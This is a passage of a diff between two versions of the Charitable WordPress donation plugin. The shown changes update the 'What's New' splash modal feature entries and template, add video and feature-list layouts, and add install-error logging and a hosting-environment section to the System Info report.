'1186687749',\n+\t\t\t\t\t),\n+\t\t\t\t\t'buttons'     => array(\n+\t\t\t\t\t\t'main'      => array(\n+\t\t\t\t\t\t\t'text' => __( 'Get Started', 'charitable' ),\n+\t\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Fdocumentation\u002Fmini-donation-widget\u002F', 'splash-modal', 'Mini Donation Widget Main' ),\n+\t\t\t\t\t\t),\n+\t\t\t\t\t\t'upgrade'   => array(\n+\t\t\t\t\t\t\t'text' => __( 'Upgrade to Pro', 'charitable' ),\n+\t\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Flite-upgrade\u002F', 'splash-modal', 'Mini Donation Widget Upgrade' ),\n+\t\t\t\t\t\t),\n+\t\t\t\t\t),\n+\t\t\t\t),\n+\t\t\t\t\u002F\u002F 1.8.10 lite headline feature.\n \t\t\t\tarray(\n \t\t\t\t\t'new'     => true,\n-\t\t\t\t\t'version' => '1.8.9',\n-\t\t\t\t\t'layout'  => 'fifty-fifty',\n+\t\t\t\t\t'version' => '1.8.10',\n+\t\t\t\t\t'layout'  => 'one-third-two-thirds',\n \t\t\t\t\t'class'   => 'no-order',\n-\t\t\t\t\t'title'   => __( 'Security Enhancements', 'charitable' ),\n-\t\t\t\t\t'content' => __( 'Charitable Lite now supports Google reCAPTCHA, hCaptcha, and Cloudflare Turnstile for improved security.', 'charitable' ),\n+\t\t\t\t\t'title'   => __( 'Migration & Import Tools', 'charitable' ),\n+\t\t\t\t\t'content' => __( 'Move from GiveWP or GiveButter to Charitable in minutes. Expanded import tools include CSV donations import and a new GiveWP Migration Tool (Beta) under a redesigned, tabbed interface.', 'charitable' ),\n \t\t\t\t\t'img'     => array(\n-\t\t\t\t\t\t'url'    => charitable()->get_path( 'assets', false ) . 'images\u002Fsplash\u002F1-8-9-security.png',\n+\t\t\t\t\t\t'url'    => charitable()->get_path( 'assets', false ) . 'images\u002Fsplash\u002F1-8-10-import-tools.svg',\n \t\t\t\t\t\t'shadow' => 'none',\n \t\t\t\t\t),\n \t\t\t\t\t'buttons' => array(\n \t\t\t\t\t\t'main'      => array(\n \t\t\t\t\t\t\t'text' => __( 'Get Started', 'charitable' ),\n-\t\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Fget-started\u002F1-8-9-security\u002F', 'splash-modal', 'Square Widgets Main' ),\n-\t\t\t\t\t\t),\n-\t\t\t\t\t\t'secondary' => array(\n-\t\t\t\t\t\t\t'text' => __( 'Learn More', 'charitable' ),\n-\t\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Flearn-more\u002F1-8-9-security\u002F', 'splash-modal', 'Square Widgets Secondary' ),\n+\t\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Fhow-to-switch-from-givewp-to-charitable\u002F', 'splash-modal', 'Import Tools Main' ),\n \t\t\t\t\t\t),\n \t\t\t\t\t),\n \t\t\t\t),\n+\t\t\t\t\u002F\u002F 1.8.9 lite security feature (kept).\n \t\t\t\tarray(\n \t\t\t\t\t'new'     => true,\n-\t\t\t\t\t'version' => '1.8.8',\n-\t\t\t\t\t'layout'  => 'fifty-fifty',\n+\t\t\t\t\t'version' => '1.8.9',\n+\t\t\t\t\t'layout'  => 'one-third-two-thirds',\n \t\t\t\t\t'class'   => 'no-order',\n-\t\t\t\t\t'title'   => __( 'New Dashboard!', 'charitable' ),\n-\t\t\t\t\t'content' => __( 'Charitable now has a new dashboard design with top campaigns, latest donations, top donors, and comments. New \"30 Day\" period added.', 'charitable' ),\n+\t\t\t\t\t'title'   => __( 'Security Enhancements', 'charitable' ),\n+\t\t\t\t\t'content' => __( 'Charitable Lite now supports Google reCAPTCHA, hCaptcha, and Cloudflare Turnstile for improved security.', 'charitable' ),\n \t\t\t\t\t'img'     => array(\n-\t\t\t\t\t\t'url'    => charitable()->get_path( 'assets', false ) . 'images\u002Fsplash\u002F1-8-8-dashboard.png',\n+\t\t\t\t\t\t'url'    => charitable()->get_path( 'assets', false ) . 'images\u002Fsplash\u002F1-8-9-security.svg',\n \t\t\t\t\t\t'shadow' => 'none',\n \t\t\t\t\t),\n \t\t\t\t\t'buttons' => array(\n \t\t\t\t\t\t'main'      => array(\n \t\t\t\t\t\t\t'text' => __( 'Get Started', 'charitable' ),\n-\t\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Fget-started\u002Fsquare\u002F', 'splash-modal', 'Square Widgets Main' ),\n+\t\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Fintroducing-improved-security-and-clean-donation-tool\u002F', 'splash-modal', 'Security Main' ),\n+\t\t\t\t\t\t),\n+\t\t\t\t\t),\n+\t\t\t\t),\n+\t\t\t\t\u002F\u002F Pro upsells.\n+\t\t\t\tarray(\n+\t\t\t\t\t'new-for-pro' => true,\n+\t\t\t\t\t'layout'      => 'one-third-two-thirds',\n+\t\t\t\t\t'class'       => 'no-order',\n+\t\t\t\t\t'title'       => __( 'Campaign Showcase', 'charitable' ),\n+\t\t\t\t\t'content'     => __( 'Display all your campaigns beautifully with full layout control including grid, list, or masonry. No coding required.', 'charitable' ),\n+\t\t\t\t\t'img'         => array(\n+\t\t\t\t\t\t'url'    => charitable()->get_path( 'assets', false ) . 'images\u002Fsplash\u002F1-8-13-campaign-showcase.png',\n+\t\t\t\t\t\t'shadow' => 'none',\n+\t\t\t\t\t),\n+\t\t\t\t\t'buttons'     => array(\n+\t\t\t\t\t\t'main'      => array(\n+\t\t\t\t\t\t\t'text' => __( 'Get Started', 'charitable' ),\n+\t\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Fcampaign-showcase-getting-started\u002F', 'splash-modal', 'Campaign Showcase Main' ),\n \t\t\t\t\t\t),\n-\t\t\t\t\t\t'secondary' => array(\n-\t\t\t\t\t\t\t'text' => __( 'Learn More', 'charitable' ),\n-\t\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Flearn-more\u002Fsquare\u002F', 'splash-modal', 'Square Widgets Secondary' ),\n+\t\t\t\t\t\t'upgrade'   => array(\n+\t\t\t\t\t\t\t'text' => __( 'Upgrade to Pro', 'charitable' ),\n+\t\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Flite-upgrade\u002F', 'splash-modal', 'Campaign Showcase Upgrade' ),\n \t\t\t\t\t\t),\n \t\t\t\t\t),\n \t\t\t\t),\n \t\t\t\tarray(\n \t\t\t\t\t'new-for-pro' => true,\n-\t\t\t\t\t'layout'    => 'one-third-two-thirds-flipped',\n-\t\t\t\t\t'class'     => 'no-order',\n-\t\t\t\t\t'title'     => __( 'Advanced Elementor Widgets', 'charitable' ),\n-\t\t\t\t\t'content'   => __( 'When you create pages with the Elementor page builder, you\\'ll now find four ready-made Charitable widgets (campaigns, donation button, donation form, campaigns).', 'charitable' ),\n-\t\t\t\t\t'img'       => array(\n-\t\t\t\t\t\t'url'    => charitable()->get_path( 'assets', false ) . 'images\u002Fsplash\u002F1-8-8-elementor.png',\n+\t\t\t\t\t'layout'      => 'one-third-two-thirds',\n+\t\t\t\t\t'class'       => 'no-order',\n+\t\t\t\t\t'title'       => __( 'Donations Feed', 'charitable' ),\n+\t\t\t\t\t'content'     => __( 'Display recent donations in beautiful list or card views with sorting, filtering, pagination, and live polling that automatically refreshes when new donations arrive.', 'charitable' ),\n+\t\t\t\t\t'img'         => array(\n+\t\t\t\t\t\t'url'    => charitable()->get_path( 'assets', false ) . 'images\u002Fsplash\u002F1-8-13-donate-feed.png',\n \t\t\t\t\t\t'shadow' => 'none',\n \t\t\t\t\t),\n-\t\t\t\t\t'buttons'   => array(\n+\t\t\t\t\t'buttons'     => array(\n \t\t\t\t\t\t'main'      => array(\n \t\t\t\t\t\t\t'text' => __( 'Get Started', 'charitable' ),\n-\t\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Fdocumentation\u002Fhow-to-use-charitable-widgets-in-elementor\u002F', 'splash-modal', 'Elementor Widgets Main' ),\n+\t\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Fdonations-feed-getting-started\u002F', 'splash-modal', 'Donations Feed Main' ),\n \t\t\t\t\t\t),\n-\t\t\t\t\t\t'secondary' => array(\n-\t\t\t\t\t\t\t'text' => __( 'Learn More', 'charitable' ),\n-\t\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Fintroducing-charitable-1-8-6-elementor-widgets-reply-to-and-new-splash-screen\u002F', 'splash-modal', 'Elementor Widgets Secondary' ),\n+\t\t\t\t\t\t'upgrade'   => array(\n+\t\t\t\t\t\t\t'text' => __( 'Upgrade to Pro', 'charitable' ),\n+\t\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Flite-upgrade\u002F', 'splash-modal', 'Donations Feed Upgrade' ),\n \t\t\t\t\t\t),\n \t\t\t\t\t),\n \t\t\t\t),\n \t\t\t\tarray(\n-\t\t\t\t\t'new-addon' => true,\n-\t\t\t\t\t'layout'    => 'one-third-two-thirds',\n-\t\t\t\t\t'class'     => 'no-order',\n-\t\t\t\t\t'title'     => __( 'DonorTrust', 'charitable' ),\n-\t\t\t\t\t'content'   => __( 'Showcase real-time, verified donations to your website visitors and encourage more people to donate to your cause.', 'charitable' ),\n-\t\t\t\t\t'img'       => array(\n-\t\t\t\t\t\t'url'    => charitable()->get_path( 'assets', false ) . 'images\u002Fsplash\u002F1-8-8-donortrust.gif',\n+\t\t\t\t\t'new-for-pro' => true,\n+\t\t\t\t\t'layout'      => 'one-third-two-thirds',\n+\t\t\t\t\t'class'       => 'no-order',\n+\t\t\t\t\t'title'       => __( 'Campaign Modal Button', 'charitable' ),\n+\t\t\t\t\t'content'     => __( 'Add a donate button anywhere on your site that opens a donation form in a modal popup, no page redirect required. Available as a block or shortcode.', 'charitable' ),\n+\t\t\t\t\t'img'         => array(\n+\t\t\t\t\t\t'url'    => charitable()->get_path( 'assets', false ) . 'images\u002Fsplash\u002F1-8-13-modal-button.png',\n \t\t\t\t\t\t'shadow' => 'none',\n \t\t\t\t\t),\n-\t\t\t\t\t'buttons'   => array(\n+\t\t\t\t\t'buttons'     => array(\n \t\t\t\t\t\t'main'      => array(\n \t\t\t\t\t\t\t'text' => __( 'Get Started', 'charitable' ),\n-\t\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Fdocumentation\u002Fcharitable-donortrust\u002F', 'splash-modal', 'DonorTrust Main' ),\n+\t\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Fcampaign-modal-button-getting-started\u002F', 'splash-modal', 'Campaign Modal Button Main' ),\n \t\t\t\t\t\t),\n-\t\t\t\t\t\t'secondary' => array(\n-\t\t\t\t\t\t\t'text' => __( 'Learn More', 'charitable' ),\n-\t\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Fintroducing-donortrust\u002F', 'splash-modal', 'DonorTrust Secondary' ),\n+\t\t\t\t\t\t'upgrade'   => array(\n+\t\t\t\t\t\t\t'text' => __( 'Upgrade to Pro', 'charitable' ),\n+\t\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Flite-upgrade\u002F', 'splash-modal', 'Campaign Modal Button Upgrade' ),\n \t\t\t\t\t\t),\n \t\t\t\t\t),\n \t\t\t\t),\n \t\t\t\tarray(\n-\t\t\t\t\t'new-for-pro'     => true,\n-\t\t\t\t\t'layout'  => 'one-third-two-thirds-flipped',\n-\t\t\t\t\t'class'   => 'no-order',\n-\t\t\t\t\t'title'   => __( 'More Stripe Options!', 'charitable' ),\n-\t\t\t\t\t'content' => __( 'Charitable now supports ACH Direct Debit, SEPA Direct Debit, Cash App, and BECS Direct Debit for Stripe users.', 'charitable' ),\n-\t\t\t\t\t'img'     => array(\n-\t\t\t\t\t\t'url'    => charitable()->get_path( 'assets', false ) . 'images\u002Fsplash\u002F1-8-8-stripe.png',\n+\t\t\t\t\t'new-for-pro' => true,\n+\t\t\t\t\t'layout'      => 'one-third-two-thirds',\n+\t\t\t\t\t'class'       => 'no-order',\n+\t\t\t\t\t'title'       => __( 'Prefill Donation Forms', 'charitable' ),\n+\t\t\t\t\t'content'     => __( 'Pre-populate donation form fields via URL query strings. Perfect for email campaigns, targeted landing pages, and personalized donor outreach.', 'charitable' ),\n+\t\t\t\t\t'img'         => array(\n+\t\t\t\t\t\t'url'    => charitable()->get_path( 'assets', false ) . 'images\u002Fsplash\u002F1-8-13-prefill-forms.png',\n \t\t\t\t\t\t'shadow' => 'none',\n \t\t\t\t\t),\n-\t\t\t\t\t'buttons' => array(\n+\t\t\t\t\t'buttons'     => array(\n \t\t\t\t\t\t'main'      => array(\n \t\t\t\t\t\t\t'text' => __( 'Get Started', 'charitable' ),\n-\t\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Fintroducing-charitable-1-8-8\u002F', 'splash-modal', 'Square Widgets Main' ),\n+\t\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Fprefill-donation-forms-getting-started\u002F', 'splash-modal', 'Prefill Donation Forms Main' ),\n \t\t\t\t\t\t),\n-\t\t\t\t\t\t'secondary' => array(\n-\t\t\t\t\t\t\t'text' => __( 'Learn More', 'charitable' ),\n-\t\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Fintroducing-charitable-1-8-8\u002F', 'splash-modal', 'Square Widgets Secondary' ),\n+\t\t\t\t\t\t'upgrade'   => array(\n+\t\t\t\t\t\t\t'text' => __( 'Upgrade to Pro', 'charitable' ),\n+\t\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Flite-upgrade\u002F', 'splash-modal', 'Prefill Donation Forms Upgrade' ),\n \t\t\t\t\t\t),\n \t\t\t\t\t),\n \t\t\t\t),\n \t\t\t\tarray(\n-\t\t\t\t\t'new-addon' => true,\n-\t\t\t\t\t'layout'    => 'one-third-two-thirds',\n-\t\t\t\t\t'class'     => 'no-order',\n-\t\t\t\t\t'title'     => __( 'Google Analytics', 'charitable' ),\n-\t\t\t\t\t'content'   => __( 'The new Google Analytics addon means you can track your campaign performance and see how your donors are engaging with your campaign.', 'charitable' ),\n-\t\t\t\t\t'img'       => array(\n-\t\t\t\t\t\t'url'    => charitable()->get_path( 'assets', false ) . 'images\u002Fsplash\u002F1-8-7-ga.png',\n+\t\t\t\t\t'new-for-pro' => true,\n+\t\t\t\t\t'layout'      => 'one-third-two-thirds',\n+\t\t\t\t\t'class'       => 'no-order',\n+\t\t\t\t\t'title'       => __( 'Campaign Featured Image', 'charitable' ),\n+\t\t\t\t\t'content'     => __( 'Set your campaign\\'s featured image directly from the Campaign Builder. No need to switch to the post editor. Perfect for giving your campaigns a polished, visual identity.', 'charitable' ),\n+\t\t\t\t\t'img'         => array(\n+\t\t\t\t\t\t'url'    => charitable()->get_path( 'assets', false ) . 'images\u002Fsplash\u002F1-8-13-featured-image.png',\n \t\t\t\t\t\t'shadow' => 'none',\n \t\t\t\t\t),\n-\t\t\t\t\t'buttons'   => array(\n+\t\t\t\t\t'buttons'     => array(\n \t\t\t\t\t\t'main'      => array(\n \t\t\t\t\t\t\t'text' => __( 'Get Started', 'charitable' ),\n-\t\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Fget-started\u002Fgoogle-analytics\u002F', 'splash-modal', 'GA Main' ),\n+\t\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Fcampaign-featured-image-getting-started\u002F', 'splash-modal', 'Campaign Featured Image Main' ),\n \t\t\t\t\t\t),\n-\t\t\t\t\t\t'secondary' => array(\n-\t\t\t\t\t\t\t'text' => __( 'Learn More', 'charitable' ),\n-\t\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Flearn-more\u002Fgoogle-analytics\u002F', 'splash-modal', 'GA Secondary' ),\n+\t\t\t\t\t\t'upgrade'   => array(\n+\t\t\t\t\t\t\t'text' => __( 'Upgrade to Pro', 'charitable' ),\n+\t\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Flite-upgrade\u002F', 'splash-modal', 'Campaign Featured Image Upgrade' ),\n \t\t\t\t\t\t),\n \t\t\t\t\t),\n \t\t\t\t),\n+\t\t\t\t\u002F\u002F Two-column \"More Recent Features\" list.\n+\t\t\t\tarray(\n+\t\t\t\t\t'layout' => 'more-features',\n+\t\t\t\t\t'class'  => 'no-order',\n+\t\t\t\t\t'title'  => __( 'More Recent Features:', 'charitable' ),\n+\t\t\t\t\t'items'  => array(\n+\t\t\t\t\t\t__( 'Campaign Selector', 'charitable' ),\n+\t\t\t\t\t\t__( 'Envira Gallery Integration', 'charitable' ),\n+\t\t\t\t\t\t__( 'Visual Form Builder', 'charitable' ),\n+\t\t\t\t\t\t__( 'Donor Leaderboards', 'charitable' ),\n+\t\t\t\t\t\t__( 'Magic Donor Dashboard Link', 'charitable' ),\n+\t\t\t\t\t\t__( 'DIVI Integration', 'charitable' ),\n+\t\t\t\t\t\t__( 'DonorTrust', 'charitable' ),\n+\t\t\t\t\t\t__( 'Google Analytics', 'charitable' ),\n+\t\t\t\t\t),\n+\t\t\t\t),\n \t\t\t);\n \n \t\t\treturn $sections;\n@@ -525,20 +578,20 @@\n \t\t\t\u002F\u002F If the chartiable_pro is active, that means they are licensed but not using Charitable Pro plugin.\n \t\t\tif ( ! charitable_is_pro() ) :\n \t\t\t\t$default_data['footer'] = array(\n-\t\t\t\t\t'title'       => __( 'Add Your License To Activate Charitable Pro Plugin Now!', 'charitable' ),\n+\t\t\t\t\t'title'       => __( 'Add Your License To Activate Charitable Pro Plugin Now And Start Getting More Donations!', 'charitable' ),\n \t\t\t\t\t'description' => __( 'Charitable Pro is a powerful upgrade that allows you to manage donors along with built-in features like videos, donor comments, PDF receipts, a dashboard for donors, and more.', 'charitable' ),\n \t\t\t\t\t'upgrade'     => array(\n \t\t\t\t\t\t'text' => __( 'Learn More', 'charitable' ),\n-\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Fintroducing-charitable-pro\u002F', 'splash-modal', 'learn-more' ),\n+\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Flite-upgrade\u002F', 'splash-modal', 'learn-more' ),\n \t\t\t\t\t),\n \t\t\t\t);\n \t\t\telse :\n \t\t\t\t$default_data['footer'] = array(\n-\t\t\t\t\t'title'       => __( 'Thank you for using Charitable Pro!', 'charitable' ),\n-\t\t\t\t\t'description' => __( 'We hope you love the new features and updates we\\'ve made to Charitable Pro. Learn more about the latest updates and improvements.', 'charitable' ),\n+\t\t\t\t\t'title'       => __( 'Upgrade To The Charitable Pro Plugin At No Cost!', 'charitable' ),\n+\t\t\t\t\t'description' => __( 'Registered users with active license can upgrade to Charitable Pro plugin at NO COST. It\\'s included in all plans (basic, plus, pro, elite).', 'charitable' ),\n \t\t\t\t\t'upgrade'     => array(\n \t\t\t\t\t\t'text' => __( 'Learn More', 'charitable' ),\n-\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Fblog\u002F', 'splash-modal', 'learn-more' ),\n+\t\t\t\t\t\t'url'  => charitable_utm_link( 'https:\u002F\u002Fwww.wpcharitable.com\u002Fpricing\u002Fupgrade-lite-to-pro\u002F', 'splash-modal', 'learn-more' ),\n \t\t\t\t\t),\n \t\t\t\t);\n \t\t\tendif;\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Ftemplates\u002Fsplash\u002Fsplash-section.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Ftemplates\u002Fsplash\u002Fsplash-section.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Ftemplates\u002Fsplash\u002Fsplash-section.php\t2026-01-09 13:50:28.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Ftemplates\u002Fsplash\u002Fsplash-section.php\t2026-05-11 23:16:48.000000000 +0000\n@@ -3,11 +3,13 @@\n  * What's New modal section.\n  *\n  * @since   1.8.8\n- * @version 1.8.9.1\n+ * @version 1.8.10.6\n  *\n  * @var string $title Section title.\n  * @var string $content Section content.\n  * @var array $img Section image.\n+ * @var array $video Section video (Vimeo or mp4).\n+ * @var array $items More-features layout items.\n  * @var string $new Is new feature.\n  * @var array $buttons Section buttons.\n  * @var string $layout Section layout.\n@@ -29,6 +31,18 @@\n \u002F\u002F phpcs:enable WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound\n ?>\n \n+\u003C?php if ( 'more-features' === $section['layout'] ) : ?>\n+\u003Csection class=\"charitable-splash-section charitable-splash-section-more-features\">\n+\t\u003Ch3>\u003C?php echo esc_html( $section['title'] ); ?>\u003C\u002Fh3>\n+\t\u003C?php if ( ! empty( $section['items'] ) ) : ?>\n+\t\t\u003Cul class=\"charitable-splash-more-features-list\">\n+\t\t\t\u003C?php foreach ( $section['items'] as $item ) : ?>\n+\t\t\t\t\u003Cli>\u003C?php echo esc_html( $item ); ?>\u003C\u002Fli>\n+\t\t\t\u003C?php endforeach; ?>\n+\t\t\u003C\u002Ful>\n+\t\u003C?php endif; ?>\n+\u003C\u002Fsection>\n+\u003C?php else : ?>\n \u003Csection class=\"\u003C?php echo esc_attr( $classes_output ); ?>\">\n \t\u003Cdiv class=\"charitable-splash-section-content\">\n \t\t\u003C?php\n@@ -73,7 +87,13 @@\n \t\t\t\t\u002F\u002F phpcs:disable WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound\n \t\t\t\t\u002F\u002F Local template variables scoped to this foreach loop.\n \t\t\t\tforeach ( $section['buttons'] as $button_type => $button ) {\n-\t\t\t\t\t$button_class = $button_type === 'main' ? 'charitable-btn-orange' : 'charitable-btn-bordered';\n+\t\t\t\t\tif ( 'main' === $button_type ) {\n+\t\t\t\t\t\t$button_class = 'charitable-btn-orange';\n+\t\t\t\t\t} elseif ( 'upgrade' === $button_type ) {\n+\t\t\t\t\t\t$button_class = 'charitable-btn-green';\n+\t\t\t\t\t} else {\n+\t\t\t\t\t\t$button_class = 'charitable-btn-bordered';\n+\t\t\t\t\t}\n \n \t\t\t\t\tprintf(\n \t\t\t\t\t\t'\u003Ca href=\"%1$s\" class=\"charitable-btn %3$s\" target=\"_blank\" rel=\"noopener noreferrer\">%2$s\u003C\u002Fa>',\n@@ -88,7 +108,23 @@\n \t\t\u003C?php endif; ?>\n \t\u003C\u002Fdiv>\n \n-\t\u003C?php if ( ! empty( $section['img'] ) ) : ?>\n+\t\u003C?php if ( ! empty( $section['video'] ) ) : ?>\n+\t\t\u003Cdiv class=\"charitable-splash-section-image charitable-splash-video-wrap\">\n+\t\t\t\u003C?php if ( ! empty( $section['video']['vimeo_id'] ) ) : ?>\n+\t\t\t\t\u003C?php\n+\t\t\t\t\u002F\u002F phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound -- Local template variable.\n+\t\t\t\t$vimeo_id = preg_replace( '\u002F[^0-9]\u002F', '', (string) $section['video']['vimeo_id'] );\n+\t\t\t\t?>\n+\t\t\t\t\u003Cdiv class=\"charitable-splash-video-embed\"\n+\t\t\t\t\tdata-vimeo-id=\"\u003C?php echo esc_attr( $vimeo_id ); ?>\"\n+\t\t\t\t\tdata-video-title=\"\u003C?php echo esc_attr( $section['title'] ); ?>\">\u003C\u002Fdiv>\n+\t\t\t\u003C?php elseif ( ! empty( $section['video']['url'] ) ) : ?>\n+\t\t\t\t\u003Cvideo autoplay muted playsinline controls>\n+\t\t\t\t\t\u003Csource src=\"\u003C?php echo esc_url( $section['video']['url'] ); ?>\" type=\"video\u002Fmp4\">\n+\t\t\t\t\u003C\u002Fvideo>\n+\t\t\t\u003C?php endif; ?>\n+\t\t\u003C\u002Fdiv>\n+\t\u003C?php elseif ( ! empty( $section['img'] ) ) : ?>\n \t\t\u003C?php\n \t\t\u002F\u002F phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound -- Local template variable scoped to this conditional block.\n \t\t$shadow_class = charitable_sanitize_classes( $section['img']['shadow'] ?? 'none' );\n@@ -98,3 +134,4 @@\n \t\t\u003C\u002Fdiv>\n \t\u003C?php endif; ?>\n \u003C\u002Fsection>\n+\u003C?php endif; ?>\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Ftools\u002Fcharitable-tools-admin-hooks.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Ftools\u002Fcharitable-tools-admin-hooks.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Ftools\u002Fcharitable-tools-admin-hooks.php\t2026-03-17 18:06:48.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Ftools\u002Fcharitable-tools-admin-hooks.php\t2026-05-11 23:16:48.000000000 +0000\n@@ -146,6 +146,15 @@\n  *\u002F\n add_action( 'wp_ajax_charitable_debug_log_scan', array( Charitable_Tools_System_Info::get_instance(), 'ajax_debug_log_scan' ) );\n \n+\u002F**\n+ * Capture failed plugin installs\u002Fupdates into a small ring buffer so the\n+ * \"Recent Plugin Install\u002FUpdate Errors\" section of System Info has data\n+ * to show. Pure pass-through on success.\n+ *\n+ * @since 1.8.10.5\n+ *\u002F\n+add_filter( 'upgrader_install_package_result', array( 'Charitable_Tools_System_Info', 'log_install_result' ), 10, 2 );\n+\n add_action( 'admin_enqueue_scripts', array( Charitable_Tools_Misc::get_instance(), 'enqueue_scripts' ) );\n \n \u002F**\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php\t2026-03-17 18:06:48.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php\t2026-05-11 23:16:48.000000000 +0000\n@@ -355,6 +355,7 @@\n \t\t\t$data .= $this->email_diagnostics();\n \t\t\t$data .= $this->donation_error_logs();\n \t\t\t$data .= $this->debug_log_scanner();\n+\t\t\t$data .= $this->hosting_environment_info();\n \n \t\t\t$data .= \"\\n\" . '### End System Info ###';\n \n@@ -1683,6 +1684,298 @@\n \n \t\t\treturn self::$instance;\n \t\t}\n+\n+\t\t\u002F**\n+\t\t * Hosting Environment, Filesystem, and recent Plugin Install error details.\n+\t\t *\n+\t\t * Designed to surface the signals that matter most when troubleshooting\n+\t\t * plugin upload\u002Finstall failures on managed hosts (WordPress.com, WP\n+\t\t * Engine, Kinsta, etc.) where standard PHP limits are misleading.\n+\t\t *\n+\t\t * @since 1.8.10.5\n+\t\t *\n+\t\t * @return string\n+\t\t *\u002F\n+\t\tprivate function hosting_environment_info() {\n+\n+\t\t\t$data  = \"\\n\" . '-- Hosting Environment' . \"\\n\\n\";\n+\t\t\t$data .= 'Detected Host:            ' . self::detect_host() . \"\\n\";\n+\t\t\t$data .= 'Reverse Proxy\u002FCDN:        ' . self::detect_proxy() . \"\\n\";\n+\n+\t\t\t$data .= \"\\n\" . '-- Filesystem & Updates' . \"\\n\\n\";\n+\t\t\t$data .= 'DISALLOW_FILE_EDIT:       ' . self::format_constant_state( 'DISALLOW_FILE_EDIT' ) . \"\\n\";\n+\t\t\t$data .= 'DISALLOW_FILE_MODS:       ' . 